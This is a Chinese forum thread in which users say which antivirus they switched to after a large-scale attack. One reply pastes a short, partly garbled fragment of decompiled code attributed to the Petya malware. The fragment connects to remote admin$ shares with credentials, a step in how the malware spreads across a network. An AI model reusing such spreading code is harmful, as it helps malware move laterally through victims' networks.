大规模攻击后，你更换杀软了吗？

流水的街

一直还在裸奔当中

zhoutaoyu

大规模攻击之前，是用的ESET Mac；攻击之后，换成了卡巴斯基Mac，但是最近一个星期使用卡巴斯基Mac断网，于是换成了Norton Mac。

PeepingTom

我也是是裸奔虚拟机卡饭VM+沙盘5.18

只不过挡案都在EXT3分区

全靠自制的几个  疫苗 过日子  ...  ...最岀名的petya是用病独自己perfc.dat代码写的

1. wsprintfW(&Name, L"\\\\%s\\admin[        DISCUZ_CODE_0        ]quot;, a1);
   
2. NetResource.dwScope = 0;
   
3. memset(&NetResource dwType, 0, 0x1Cu);
   
4. NetResource.1pRemoteName = &Name;
   
5. NetResource.dwType = 1;
   
6. get_current_module_name_convert_tows(&v23);
   
7. wsprintfW(&FileName, L"\\\\%ws\\admin$\\%ws", a1, &v23);
   
8. while (  1  )
   
9. {
   
10.    pszPath = 0;
    
11.    v11 = v4;
    
12.    v18 = WNetAddConnection2W(&NetResource, 1pPassword, 1pUserName, 0);
    
13.    wsprintfW(&pszPath, L"\\\\%ws\\admin$\\%ws", a1, &v23);
    
14.    v5 = PathFindExtentionW(&pszPath);
    
15.    if ( v5 )
    
16.    {
    
17.      *v5 = 0;
    
18.      if ( PathFileExistsW(&pszPath) )
    
19.      {
    
20.         v13 = 1;
    
21.         goto exit;
    
22.       }
    
23.       dwErrCode = GetLastError();
    
24.     }
    

复制代码

WEI.ER

病毒？长啥样？裸Sandboxie的路过。

likeBBQ

没换，一直都是NIS